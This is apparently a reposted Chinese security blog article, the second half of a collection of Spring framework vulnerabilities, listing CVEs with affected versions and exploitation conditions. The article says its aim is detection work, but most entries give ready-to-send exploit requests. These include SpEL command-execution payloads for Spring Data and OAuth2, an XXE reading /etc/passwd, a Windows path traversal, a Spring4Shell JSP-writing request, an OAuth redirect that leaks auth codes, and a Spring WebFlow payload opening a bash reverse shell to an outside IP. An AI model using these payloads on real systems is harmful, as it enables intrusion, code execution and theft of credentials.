irpas技术客

spring漏洞合集 下_安全小工坊_spring漏洞

网络 2080

前言

现在的 java 开放的网站十个里面有九个是 spring 写的。网上对 spring 相关漏洞的资料很多,但是总结的文章却很少,再加上 spring 庞大的生态,每当看到 spring 相关网站的时候,脑子里虽然零零散散冒出来一堆漏洞,但是却不知道哪些符合当前环境。

因此搜集了所有 spring 相关漏洞,对它们的利用条件和检测方式进行梳理和总结,希望在面对 spring 的时候,能够有一个更完整的思路去发现漏洞。

这里更多是的是的利用条件和检测方式的总结,主要以发现漏洞为目的,至于如何将漏洞效果最大化这里不做过多介绍,网上资料很多,直接查对应文章即可。

此合集由于内容较多,分为上下两部分。

上半部分内容:

Spring Boot Actuator 相关漏洞Sping Boot 相关漏洞Spring Cloud 相关漏洞

下半部分内容:

Spring Data 相关漏洞Spring Framework 相关漏洞Spring Security 相关漏洞Spring WebFlow 相关漏洞

上半部分地址: spring漏洞合集 上

Spring Data 漏洞

Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架

(CVE-2017-8046)Spring Data Rest 远程命令执行漏洞

影响范围

PivotalSpringDataREST2.5.12 之前的版本,2.6.7 之前的版本,3.0RC3 之前的版本SpringBoot2.0.0M4 之前版本SpringDataKay-RC3 之前的版本

参考文章

http://·/cve-2017-8046-spring-data-restming-ling-zhi-xing-lou-dong.html

特征

header 头是 Content-Type: application/hal+json;charset=UTF-8

漏洞利用

PATCH http://localhost:18080/customers/1 HTTP/1.1 Host: localhost:18080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json-patch+json Content-Length: 193 [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/1", "value": "vulhub" }]

必须是Content-Type: application/json-patch+json

op 是 replace 时,payload 后面必须有路径,不然不能触发 具体内容随意

op 是 test 不需要其他路径

漏洞环境

见 vulhub

(CVE-2018-1259)Spring Data xxe 漏洞

影响范围

Spring Data Commons 1.13-1.13.11 (Ingalls SR11)Spring Data REST 2.6-2.6.11 (Ingalls SR11)Spring Data Commons 2.0-2.0.6 (Kay SR6)Spring Data REST 3.0-3.0.6 (Kay SR6)

测试环境

Spring Data xxe 本地环境

漏洞利用

需要对应参数名,如果参数名不存在 则无法触发,比如测试环境参数的是 firstname lastname 只能这两个参数触发,修改为其他的无法触发. 需要被动扫描能够解析 xml 啊

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <user1><firstname>&xxe;</firstname><lastname>test</lastname></user1>

参考链接

https://blog.spoock.com/2018/05/16/cve-2018-1259/

(CVE-2018-1273)Spring Data Commons 组件远程代码执行漏洞

影响范围

Spring Data Commons 1.13 - 1.13.10(Ingalls SR10)Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)Spring Data Commons 2.0 - 2.0.5 (Kay SR5)Spring Data REST 3.0 - 3.0.5 (Kay SR5)

复现环境

vulhub

漏洞利用

poc

POST /users?page=&size=5 HTTP/1.1 Host: localhost:8080 Connection: keep-alive Content-Length: 124 username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

第二种 payload

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

Spring Framework (CVE-2015-5211)Spring Framework 内容协商机制(content-negotiation)反射型文件下载(RFD)

RFD,即 Reflected File Download 反射型文件下载漏洞,是一个 2014 年来自 BlackHat 的漏洞。这个漏洞在原理上类似 XSS,在危害上类似 DDE:攻击者可以通过一个 URL 地址使用户下载一个恶意文件,从而危害用户的终端 PC。 这个漏洞很罕见,大多数公司会认为它是一个需要结合社工的低危漏洞,但微软,雅虎,eBay,PayPal 和其他许多公司认为这是一个中危漏洞。 RFD 漏洞原理见 https://coolshell.me/articles/rfd-bug-reflect-spring-world.html 简单来说 鸡肋漏洞

影响范围

Spring Framework 4.2.0 版本至 4.2.1 版本Spring Framework 4.0.0 版本至 4.1.7 版本Spring Framework 3.2.0 版本至 3.2.14 版本Spring Framework 更早的已不再支持的版本

参考链接

https://xz.aliyun.com/t/8341

(CVE-2020-5398)Spring Framework 反射型文件下载(RFD)

同上

影响范围

Spring Framework 5.2.0 – 5.2.2Spring Framework 5.1.0 – 5.1.12Spring Framework 5.0.0 – 5.0.15 (CVE-2020-5421)Spring Framework 反射型文件下载(RFD)

上个漏洞的绕过

影响范围

Spring Framework 5.2.0 - 5.2.8、5.1.0Spring Framework 5.1.17、5.0.0Spring Framework 5.0.18、4.3.0Spring Framework 4.3.28 以及更早的不受支持的版本

参考链接

https://xz.aliyun.com/t/8341

(CVE-2018-1271)Spring Framework 目录穿越

依然是一个触发条件很苛刻的漏洞

利用条件

要使用 file 协议打开资源文件目录Windows 平台不能使用 Tomcat 或者 wildfy 等中间件(本环境演示使用的是 jetty 服务器)

payload

http://127.0.0.1:8080/spring-mvc-showcase/resources/static/..%5c/..%5c/windows/win.ini

参考链接

https://blog.spoock.com/2018/05/30/cve-2018-1271/

(CVE-2022-22965)Spring Framework 命令执行

核弹级漏洞 但是目前公开出来的利用方式就是 tomcat 环境下写 webshell

影响范围

Spring Framework < 5.3.18Spring Framework < 5.2.20

漏洞环境

vulhub

漏洞复现

vulhub 提供的是直接写入 webshell 的,由于有些目标在验证时不允许写 webshell,这里做了修改,只是普通的打印一段字符串,用于验证漏洞。

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20out.println(%2211111111%22)%3b%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=22&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 Host: localhost:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36 Connection: close suffix: %>// c2: <% DNT: 1 Content-Length: 2

ps: 这个漏洞只能发送一次 payload 需要重启环境才能再次写入 原因未知

Spring Messaging (CVE-2018-1270)Spring Messaging 远程命令执行

影响范围

Spring Java Framework < 5.0

漏洞利用

sockjs 通讯 非 http 协议 具体方法见https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1270

复现环境

vulhub

Spring Security (CVE-2016-4977)Spring Security OAuth2 远程命令执行

影响范围

Spring Security OAuth 2.0.0 版本至 2.0.9 版本Spring Security OAuth 1.0.0 版本至 1.0.5 版本中

漏洞利用

就是普通的 spel 表达式注入 参数为response_type

复现环境

vulhub

(CVE-2018-1260)Spring Security Oauth2 远程代码执行

影响范围

Spring Security OAuth 2.3 to 2.3.2Spring Security OAuth 2.2 to 2.2.1Spring Security OAuth 2.1 to 2.1.1Spring Security OAuth 2.0 to 2.0.14

利用方法

spel 表达式注入 无回显 需要 dnslog 漏洞参数scope

payload: ${T(java.lang.Runtime).getRuntime().exec("calc.exe")}

参考链接

https://blog.spoock.com/2018/05/13/cve-2018-1260/

(CVE-2019-3778)Spring Security OAuth2 开放重定向

影响范围

Spring Security OAuth 2.3 to 2.3.4Spring Security OAuth 2.2 to 2.2.3Spring Security OAuth 2.1 to 2.1.3Spring Security OAuth 2.0 to 2.0.16

限制条件

有问题的 Spring Security OAuth2 版本OAuth 认证使用授权码模式用户需要在登录的情况下

复现环境

漏洞利用

简单来说这个漏洞就是在利用 url 跳转偷认证票据

Blackhat 2019 有一篇文章"Make Redirection Evil Again URL Parser Issues in OAuth"中提到了一种利用方式,通过添加%ff,在服务端解析错误后,会将其变成?,从而达到 url 跳转的目的。

#访问链接 http://localhost:9090/oauth/authorize?response_type=code&client_id=ananaskr&redirect_uri=http://·%ff@·&scope=all&client_secret=123456 #跳转到http://·并且在后面追加了认证票据code http://·?@·?code=xxxx

参考链接

https://xz.aliyun.com/t/7409

Spring WebFlow (CVE-2017-4971)Spring WebFlow 远程代码执行

影响范围

Spring WebFlow 2.4.0 - 2.4.4

复现环境

vulhub

复现过程

# 数据包添加一个带漏洞的参数即可 _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=xxxx 往期文章 对目录扫描工具dirsearch 的一些小改造Oneforall 子域名扫描工具分析与改造Xpocsutie3:基于 pocsuite3 二次修改的 POC 检测框架


1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,会注明原创字样,如未注明都非原创,如有侵权请联系删除!;3.作者投稿可能会经我们编辑修改或补充;4.本站不提供任何储存功能只提供收集或者投稿人的网盘链接。

标签: #spring漏洞 #前言现在的 #JAVA #开放的网站十个里面有九个是 #Spring #写的 #网上对